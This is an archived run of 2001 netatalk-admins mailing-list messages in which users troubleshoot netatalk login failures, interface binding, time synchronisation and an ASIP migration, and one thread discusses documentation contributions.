Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id FAA14625
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 15 Aug 2001 05:34:04 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA14611
	for netatalk.administrators-members@umich.edu; Wed, 15 Aug 2001 05:34:04 -0400 (EDT)
Received: from rakete.joerdens.de ([62.104.116.221])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA14572
	for <netatalk-admins@umich.edu>; Wed, 15 Aug 2001 05:34:02 -0400 (EDT)
Received: (from frank@localhost)
	by rakete.joerdens.de (8.9.3/8.9.3) id LAA10108;
	Wed, 15 Aug 2001 11:34:00 +0200
Date: Wed, 15 Aug 2001 11:34:00 +0200
From: Frank Joerdens <frank@joerdens.de>
To: xris <xris@mac.com>
Cc: netatalk-admins@umich.edu
Subject: Re: Incorrect password?
Message-ID: <20010815113400.A10047@rakete.joerdens.de>
References: <B79F8D14.94E6%xris@mac.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
User-Agent: Mutt/1.1.2i
In-Reply-To: <B79F8D14.94E6%xris@mac.com>; from xris@mac.com on Wed, Aug 15, 2001 at 02:21:09AM -0700
X-Subliminal-Message: Use Linux! Use Linux!

On Wed, Aug 15, 2001 at 02:21:09AM -0700, xris wrote:
> Greetings all..  New to the list...
> 
> Anyway, I recently lost my linux drive due to a machine upgrade, and when I
> reinstalled netatalk (upgrading to the latest prerelease), I am for some
> reason unable to log in.  everything SEEMS to be working fine, and I can
> connect as guest (granted, there are no guest-accessible volumes), but
> whenever I try to connect as an existing user, I get an "incorrect password"
> error.  I'm pretty sure I got all of the compile options correct
> (--with-shadow, etc), and have essentially the same config files as so what
> should I do next?
> 
> For reference, my compile options:
> 
> ./configure --disable-ddp --enable-lastdid --with-tcp-wrappers --with-shadow
>             --with-uams-path=/etc/atalk/uams --sysconfdir=/etc/atalk

When I just tried this, I had the same problem but that was because I
didn't have the --with-shadow option enabled. What I also noticed, and
that may be your problem too, is that --sysconfdir=/etc/atalk doesn't
work, or at least it does not help to set the config dir. This was
accomplished by --with-config-dir=path.

Hope it helps,
Frank

From netatalk.administrators-errors@umich.edu  Wed Aug 15 05:54:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA14991
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 15 Aug 2001 05:54:58 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id FAA17322
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 15 Aug 2001 05:54:58 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA17297
	for netatalk.administrators-members@umich.edu; Wed, 15 Aug 2001 05:54:57 -0400 (EDT)
Received: from editmy.he.net (editmy.he.net [216.218.244.242])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA17244
	for <netatalk-admins@umich.edu>; Wed, 15 Aug 2001 05:54:56 -0400 (EDT)
Received: from [10.0.0.2] (dhcp-273-2.click-network.com [131.191.9.16]) by editmy.he.net (8.8.6/8.8.2) with ESMTP id CAA21357; Wed, 15 Aug 2001 02:54:49 -0700
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Wed, 15 Aug 2001 02:54:17 -0700
Subject: Re: Incorrect password?
From: xris <xris@mac.com>
To: Frank Joerdens <frank@joerdens.de>
CC: <netatalk-admins@umich.edu>
Message-ID: <B79F94B4.94F1%xris@mac.com>
In-Reply-To: <20010815113400.A10047@rakete.joerdens.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> When I just tried this, I had the same problem but that was because I
> didn't have the --with-shadow option enabled. What I also noticed, and
> that may be your problem too, is that --sysconfdir=/etc/atalk doesn't
> work, or at least it does not help to set the config dir. This was
> accomplished by --with-config-dir=path.

Nope, didn't seem to help.

Something's definitely weird, though, since afpd doesn't start by itself
(rc.atalk isn't loading at boot time)....   The compile config is definitely
a bit screwey, at least compared to the earlier versions that I used (I had
some trouble with pre3 on my old machine, but nothing like this).


From netatalk.administrators-errors@umich.edu  Wed Aug 15 06:33:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA15928
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 15 Aug 2001 06:33:52 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA08025
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 15 Aug 2001 06:33:37 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA08019
	for netatalk.administrators-members@umich.edu; Wed, 15 Aug 2001 06:33:37 -0400 (EDT)
Received: from freesurfmail.sunrise.ch (freesurfmta02.sunrise.ch [194.230.0.17])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA08007
	for <netatalk-admins@umich.edu>; Wed, 15 Aug 2001 06:33:35 -0400 (EDT)
Received: from [194.230.146.128] (194.230.146.128) by freesurfmail.sunrise.ch (5.5.034)
        id 3B7090F0000583D1 for netatalk-admins@umich.edu; Wed, 15 Aug 2001 12:31:11 +0200
User-Agent: Microsoft-Entourage/9.0.2509
Date: Wed, 15 Aug 2001 12:33:37 +0200
Subject: FW: Ntimelord
From: Yanik RUCHAT <yanik@gic.ch>
To: <netatalk-admins@umich.edu>
Message-ID: <B7A01CA0.395%yanik@gic.ch>
In-Reply-To: <B79F2BC6.389%yanik@gic.ch>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I compiled and installed Netatalk which works very well.

I downloaded and compiled the ntimelord-1.0 too, thinking that it was a time
server which works with with the standard "Date and time" TCP/IP programm
which is included in the recent versions of MacOS.

I want to know if what I said is right.

I ran the compiled file timelord but it doesn't seem to word like I suppose.

What must I do? If this software does't update date and time of the Mac what
is the use of it? And if it is not that kind of soft, where can I find a
soft which could do what I want?

I didn't find doc anywhere about ntimelord...

Thank you,

Yanik


From netatalk.administrators-errors@umich.edu  Wed Aug 15 06:49:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA16439
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 15 Aug 2001 06:49:53 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA28689
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 15 Aug 2001 06:49:38 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA28683
	for netatalk.administrators-members@umich.edu; Wed, 15 Aug 2001 06:49:38 -0400 (EDT)
Received: from plato.arts.usyd.edu.au (plato.arts.usyd.edu.au [129.78.16.1])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA28637
	for <netatalk-admins@umich.edu>; Wed, 15 Aug 2001 06:49:36 -0400 (EDT)
Received: from arts.usyd.edu.au (IDENT:matthew@holly.aitch.ucc.usyd.edu.au [129.78.226.234])
	by plato.arts.usyd.edu.au (8.9.3/8.9.3) with ESMTP id UAA05967;
	Wed, 15 Aug 2001 20:49:44 +1000 (EST)
Sender: matthew@plato.arts.usyd.edu.au
Message-ID: <3B7A53C0.99E5B183@arts.usyd.edu.au>
Date: Wed, 15 Aug 2001 20:49:36 +1000
From: Matthew Geier <matthew@arts.usyd.edu.au>
Organization: Arts IT Unit, Sydney University
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.8-pre7-xfs i686)
X-Accept-Language: en, pdf
MIME-Version: 1.0
To: Yanik RUCHAT <yanik@gic.ch>, netatalk-admins@umich.edu
Subject: Re: FW: Ntimelord
References: <B7A01CA0.395%yanik@gic.ch>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms22384303B45624399ABF8E79"

This is a cryptographically signed message in MIME format.

--------------ms22384303B45624399ABF8E79
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Yanik RUCHAT wrote:
> 
> I compiled and installed Netatalk which works very well.
> 
> I downloaded and compiled the ntimelord-1.0 too, thinking that it was a time
> server which works with with the standard "Date and time" TCP/IP programm
> which is included in the recent versions of MacOS.

 8.6 and later have a standard ntp client. What you want is not timelord
but ntpd

 Some routers have ntp servers in them. You might already have a ntp
server on your
network.
--------------ms22384303B45624399ABF8E79
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIH0AYJKoZIhvcNAQcCoIIHwTCCB70CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BbswggKKMIIB86ADAgECAgMFMYswDQYJKoZIhvcNAQECBQAwgZIxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhh
d3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwg
RnJlZW1haWwgUlNBIDIwMDAuOC4zMDAeFw0wMTA3MDkxOTEyNThaFw0wMjA3MDkxOTEyNTha
MEoxHzAdBgNVBAMTFlRoYXd0ZSBGcmVlbWFpbCBNZW1iZXIxJzAlBgkqhkiG9w0BCQEWGG1h
dHRoZXdAYXJ0cy51c3lkLmVkdS5hdTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA1H+o
MQ4xn5lDS/7p9rYboPW7grw13lXOj7Xisip37QttkX7Ga3ITBXnsAKnuFK3Z7GtILACBXil1
BngLBOd0AlW9zqQBXEOP9aODNJzBsTb3+tOHwQo6shcORKQArKEinG00SuwBdzxALU3KWT6E
yIUSvoz7q0PN4C8qUF3t00sCAwEAAaM1MDMwIwYDVR0RBBwwGoEYbWF0dGhld0BhcnRzLnVz
eWQuZWR1LmF1MAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQECBQADgYEAiJu7SNBXsW7I+ZH9
e2+0M47BmR3DxV31VbW9mKcwuamusWSJJEy5MAKZc8b0snRX/XDkCpM+av3VxDJX8T3rxOE0
siyCC6Tclu6wjwjw0goXK4N6Xhsz+qwIfdoclNZkqK5yInEZtc5ijKr0IPRgch79f35WP82C
SNHVYApmjzgwggMpMIICkqADAgECAgEMMA0GCSqGSIb3DQEBBAUAMIHRMQswCQYDVQQGEwJa
QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xGjAYBgNVBAoT
EVRoYXd0ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERp
dmlzaW9uMSQwIgYDVQQDExtUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgQ0ExKzApBgkqhkiG
9w0BCQEWHHBlcnNvbmFsLWZyZWVtYWlsQHRoYXd0ZS5jb20wHhcNMDAwODMwMDAwMDAwWhcN
MDIwODI5MjM1OTU5WjCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTES
MBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNVBAsTFENlcnRpZmlj
YXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBSU0EgMjAwMC44LjMw
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDeMzKmY8cJJUU+0m54J2eBxdqIGYKXDuNE
KYpjNSptcDz63K737nRvMLwzkH/5NHGgo22Y8cNPomXbDfpL8dbdYaX5hc1VmjUanZJ1qCeu
2HL5ugL217CR3hzpq+AYA6h8Q0JQUYeDPPA5tJtUihOH/7ObnUlmAC0JieyUa+mhaQIDAQAB
o04wTDApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRUHJpdmF0ZUxhYmVsMS0yOTcwEgYDVR0T
AQH/BAgwBgEB/wIBADALBgNVHQ8EBAMCAQYwDQYJKoZIhvcNAQEEBQADgYEAcxtvJmWL/xU0
S1liiu1EvknH6A27j7kNaiYqYoQfuIdjdBxtt88aU5FL4c3mONntUPQ6bDSSrOaSnG7BIwHC
CafvS65y3QZn9VBvLli4tgvBUFe17BzX7xe21Yibt6KIGu05Wzl9NPy2lhglTWr0ncXDkS+p
lrgFPFL83eliA0gxggHdMIIB2QIBATCBmjCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdl
c3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNV
BAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBS
U0EgMjAwMC44LjMwAgMFMYswCQYFKw4DAhoFAKCBmTAYBgkqhkiG9w0BCQMxCwYJKoZIhvcN
AQcBMBwGCSqGSIb3DQEJBTEPFw0wMTA4MTUxMDQ5MzlaMCMGCSqGSIb3DQEJBDEWBBTHsPcp
MxigsO42OyoR5bSRhUAuOTA6BgkqhkiG9w0BCQ8xLTArMAoGCCqGSIb3DQMHMA4GCCqGSIb3
DQMCAgIAgDANBggqhkiG9w0DAgIBQDANBgkqhkiG9w0BAQEFAASBgAwHus2+sUMS6wRyUhPP
su7F9ddAxXxtMqzssJHYxM/ieDFK431AnCmc3QsTT9bnwLx4AVYYQ3HQv7wessikVNDBobze
0iuD2CVcNADlOdOMiLMQnze9HzFORNoDm6wPQwwrVgU0UwJF6b9enc+112WDEzA714w/IYch
2RII/cOG
--------------ms22384303B45624399ABF8E79--


From netatalk.administrators-errors@umich.edu  Wed Aug 15 12:15:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA15862
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 15 Aug 2001 12:15:01 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id MAA11930
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 15 Aug 2001 12:15:01 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA11913
	for netatalk.administrators-members@umich.edu; Wed, 15 Aug 2001 12:15:00 -0400 (EDT)
Received: from video1.avwashington.com (video1.avwashington.com [216.177.38.67])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA11567
	for <netatalk-admins@umich.edu>; Wed, 15 Aug 2001 12:14:51 -0400 (EDT)
Received: from mail.avwashington.com (crow.avwashington.com [192.168.0.6])
	by video1.avwashington.com (8.9.1a/8.9.1) with SMTP id MAA00883
	for <netatalk-admins@umich.edu>; Wed, 15 Aug 2001 12:24:01 -0400
Date: Thu, 9 Aug 2001 08:52:19 -0400
From: Chip Mefford <cmefford@avwashington.com>
To: netatalk-admins@umich.edu
Subject: Help, I can't get netatalk to go to the right interface
Message-ID: <20010809085219.E1557@crow.avwashington.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Mailer: Balsa 1.1.1
Lines: 61

Please Help!

This is making me crazy, I've posted this before.
But it has gotten worse.

I recently had to shut the machine down due
to some changes in the machine room. I wish
I had paid attention to how much uptime it had.
Anyway, since it has come back up, NO ONE can
connect to the correct interface, and all
connections are going around through the 
router to connect to the external interface
at eth0. This isn't a horrible thing, but
it is very slow compared to a local connection.




   I've upgraded from 1.4b2 to 1.5pre2 when I upgraded 
   my RH6 box to a RH7.1 box. 

   1.4b2 under RH 6 was quite controllable and worked well,
I've been using it for quite some time. 

   Since the upgrade, my uses now seem to connect 
   to ANY interface, (no longer true) although my
atalkd.conf is as follows 

   ------include-------------- 
   eth1 -phase 2 -net 0-65534 -addr 65280.181 
   -----end include------------ 

And my afpd.conf is

   -----include--------------- 
   kiosk -port 12000 -address 192.168.0.4 -noguest
   ----end include------------

Kiosk of course, is the name of the 
interface eth1 at 192.168.0.4

 
   

   This set up worked and kept my Netatalk connections 
   on eth1 under 1.4b2, however under 1.5pre2, atalk
connections are allowed at all interfaces, and in some 
   case are going around the corner though the router to 
   get at eth0, which is not a bad thing in my case, just 
   really slow. 

   What have I done wrong? the .rpmnew file looks just 
   like the orginal default atalk.conf and non of this 
   seems very well documented, if there are differences 
   in this file relative to 1.4 

   Any input is a help, 

   thanks in advance 

   chipper 


From netatalk.administrators-errors@umich.edu  Wed Aug 15 21:29:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA29459
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 15 Aug 2001 21:29:43 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA25794
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 15 Aug 2001 21:29:28 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA25782
	for netatalk.administrators-members@umich.edu; Wed, 15 Aug 2001 21:29:27 -0400 (EDT)
Received: from imb.uq.edu.au (mail.imb.uq.edu.au [130.102.118.20])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA25714
	for <netatalk-admins@umich.edu>; Wed, 15 Aug 2001 21:29:25 -0400 (EDT)
Received: from [130.102.118.130] (HELO imb.uq.edu.au)
  by imb.uq.edu.au (CommuniGate Pro SMTP 3.3)
  with ESMTP id 834699 for netatalk-admins@umich.edu; Thu, 16 Aug 2001 11:29:37 +1000
Message-ID: <3B7B233B.56B02CD5@imb.uq.edu.au>
Date: Thu, 16 Aug 2001 11:34:51 +1000
From: Nelson Marques <n.marques@imb.uq.edu.au>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins <netatalk-admins@umich.edu>
Subject: Moving from ASIP to Netatalk.
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


	Hi,

	I'm moving from an ASIP server to a
Netatalk/Solaris8(netatalk-1.4b2+asun2.1.4) box with shadow passwords,
and I'd like to know about your experiences and suggestions in this
matter regarding:
		1 - Passwords
			Change from the chooser(thinking about checking the source for change
feasibility)
			Conversion from ASIP(any clues?)
		2 - Volumes and folders
			How to move them and keep the same permissions.

	Thanks in advance for your comments/answers.

	Nelson

From netatalk.administrators-errors@umich.edu  Thu Aug 16 05:56:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA18113
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 16 Aug 2001 05:56:03 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA22416
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 16 Aug 2001 05:55:50 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA22406
	for netatalk.administrators-members@umich.edu; Thu, 16 Aug 2001 05:55:49 -0400 (EDT)
Received: from smtpout.mac.com (smtpout.mac.com [204.179.120.89])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA22376
	for <netatalk-admins@umich.edu>; Thu, 16 Aug 2001 05:55:48 -0400 (EDT)
Received: by smtpout.mac.com; Thu, 16 Aug 2001 02:53:54 -0700 (PDT)
Received: from asmtp01.mac.com ([10.13.10.65]) by
          smtp-relay01.mac.com (Netscape Messaging Server 4.15 relay01 Jun
          21 2001 23:53:48) with ESMTP id GI5NHT00.NFB for
          <netatalk-admins@umich.edu>; Thu, 16 Aug 2001 02:53:53 -0700 
Received: from [61.9.169.131] ([61.9.169.131]) by
          asmtp01.mac.com (Netscape Messaging Server 4.15 asmtp01 Jun  6
          2001 13:16:42) with ESMTP id GI5NHT00.IZ5 for
          <netatalk-admins@umich.edu>; Thu, 16 Aug 2001 02:53:53 -0700 
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Thu, 16 Aug 2001 19:53:50 +1000
Subject: subscribe
From: CJ <j_star@mac.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B7A1D54E.937%j_star@mac.com>
Mime-version: 1.0
Content-type: multipart/alternative; boundary="B_3080836431_7358394"

> This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

--B_3080836431_7358394
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit


subscribe 

--B_3080836431_7358394
Content-type: text/html; charset="US-ASCII"
Content-transfer-encoding: quoted-printable

<HTML>
<HEAD>
<TITLE>subscribe</TITLE>
</HEAD>
<BODY>
<FONT FACE=3D"Verdana"><BR>
subscribe </FONT>
</BODY>
</HTML>


--B_3080836431_7358394--


From netatalk.administrators-errors@umich.edu  Thu Aug 16 06:58:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA19767
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 16 Aug 2001 06:58:39 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA01666
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 16 Aug 2001 06:58:26 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA01656
	for netatalk.administrators-members@umich.edu; Thu, 16 Aug 2001 06:58:25 -0400 (EDT)
Received: from mail.hbv.de (stena.hbv.de [194.233.182.20])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA01630
	for <netatalk-admins@umich.edu>; Thu, 16 Aug 2001 06:58:24 -0400 (EDT)
Received: from localhost (localhost [127.0.0.1])
	by localhost (Postfix on SuSE eMail Server 2.0) with ESMTP
	id 246F1A3A28; Thu, 16 Aug 2001 12:55:42 +0200 (CEST)
Received: from mail.hbv.de (localhost [127.0.0.1])
	by localhost (AvMailGate-6.8.0.0) id 21738-3CE0ACC8;
	Thu, 16 Aug 2001 12:55:42 +0200
Received: from mail.bauer.com (mail.bauer.com [192.19.1.14])
	by mail.hbv.de (Postfix on SuSE eMail Server 2.0) with ESMTP
	id 3F713A39F0; Thu, 16 Aug 2001 12:55:41 +0200 (CEST)
Received: from hbv.de (hjebsen.bauer.com [172.28.28.42])
	by mail.bauer.com (Postfix) with ESMTP
	id 215A4491; Thu, 16 Aug 2001 12:58:28 +0200 (MEST)
Sender: root@hbv.de
Message-ID: <3B7BA750.CA13D138@hbv.de>
Date: Thu, 16 Aug 2001 12:58:24 +0200
From: Henning Jebsen <hjebsen@hbv.de>
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.16 i686)
X-Accept-Language: de, en
MIME-Version: 1.0
To: xris <xris@mac.com>
Cc: Frank Joerdens <frank@joerdens.de>, netatalk-admins@umich.edu
Subject: Re: Incorrect password?
References: <B79F94B4.94F1%xris@mac.com>
Content-Type: text/plain; charset=iso-8859-1
X-AntiVirus: OK (checked by AntiVir Version 6.8.0.3)
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id GAA19767

xris wrote:

> > When I just tried this, I had the same problem but that was because I
> > didn't have the --with-shadow option enabled. What I also noticed, and
> > that may be your problem too, is that --sysconfdir=/etc/atalk doesn't
> > work, or at least it does not help to set the config dir. This was
> > accomplished by --with-config-dir=path.
>
> Nope, didn't seem to help.
>
> Something's definitely weird, though, since afpd doesn't start by itself
> (rc.atalk isn't loading at boot time)....   The compile config is definitely
> a bit screwey, at least compared to the earlier versions that I used (I had
> some trouble with pre3 on my old machine, but nothing like this).

Hi,
What does /etc/var/log/messages say, when you are trying to logon ? UAM missing
?
So search for the file  uams_dhx_pam.so and copy it to your
/etc/atalk/uams/ directory.

There are some versions out, which don“t install this uam correctly.

Second chance: Go into afpd.conf and disable the DHX module, the client will
then
fall back to cleartext login.

To load netatalk, only /usr/sbin/afpd is needed. At clients site you have to
enter
the IP-name or IP-Adress of the server to connect. You will not see the server
at the chooser until you start atalkd.

Good luck

--
mailto: hjebsen@hbv.de  (Henning Jebsen)
org:    Heinrich Bauer Verlag
phone:  +49-40-3019-5525




From netatalk.administrators-errors@umich.edu  Thu Aug 16 13:15:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA02968
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 16 Aug 2001 13:15:07 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA23218
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 16 Aug 2001 13:14:53 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA23197
	for netatalk.administrators-members@umich.edu; Thu, 16 Aug 2001 13:14:53 -0400 (EDT)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA23148
	for <netatalk-admins@umich.edu>; Thu, 16 Aug 2001 13:14:51 -0400 (EDT)
Received: from hirsch.in-berlin.de (root@hirsch.colt.in-berlin.de [213.61.118.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id f7GHF4926430
	for <netatalk-admins@umich.edu>; Thu, 16 Aug 2001 19:15:04 +0200 (CEST)
	(envelope-from srittau@jroger.in-berlin.de)
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.11.1/8.11.1/Debian 8.11.0-6) with UUCP id f7GHF3t04300
	for netatalk-admins@umich.edu; Thu, 16 Aug 2001 19:15:03 +0200
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 15XQbS-0000qC-00; Thu, 16 Aug 2001 19:06:42 +0200
Date: Thu, 16 Aug 2001 19:06:41 +0200
To: Chris Blake <Chris.Blake@anu.edu.au>
Cc: netatalk-admins@umich.edu
Subject: Re: Doc comtribution
Message-ID: <20010816190641.A3063@jroger.in-berlin.de>
Mail-Followup-To: Chris Blake <Chris.Blake@anu.edu.au>,
	netatalk-admins@umich.edu
References: <Pine.GSO.4.33.0108140926340.23711-101000@ernst>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <Pine.GSO.4.33.0108140926340.23711-101000@ernst>
User-Agent: Mutt/1.3.18i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Tue, Aug 14, 2001 at 09:37:21AM +1000, Chris Blake wrote:

> Hope this isn't too presumptuous, but I'd like to make a contribution to
> the netatalk-1.5pre6 documentation, and someone suggested that this was
> the appropriate email address.

A better place is netatalk-devel@lists.sourceforge.net, as this is
the development related mailing list.

> o a modified INSTALL

INSTALL is a default file, provided by automake. It will be overwritten
by subsequent automake calls. Therefore I stripped out the parts
provided by automake and called this file doc/INSTALL.

> o a modified README

Modified to match the change above.

> o a modified doc/README.LINUX
> o a modified doc/README.SOLARIS

I have stripped out the umich address at the end of these files.

> o doc/CONFIGURE - this replaces the latter part of doc/INSTALL.txt
> o doc/DEVELOPER - this replaces doc/README

Thanks a lot for your contribution,

 - Sebastian



From netatalk.administrators-errors@umich.edu  Sat Aug 18 11:32:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA29046
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 18 Aug 2001 11:32:57 -0400 (EDT)
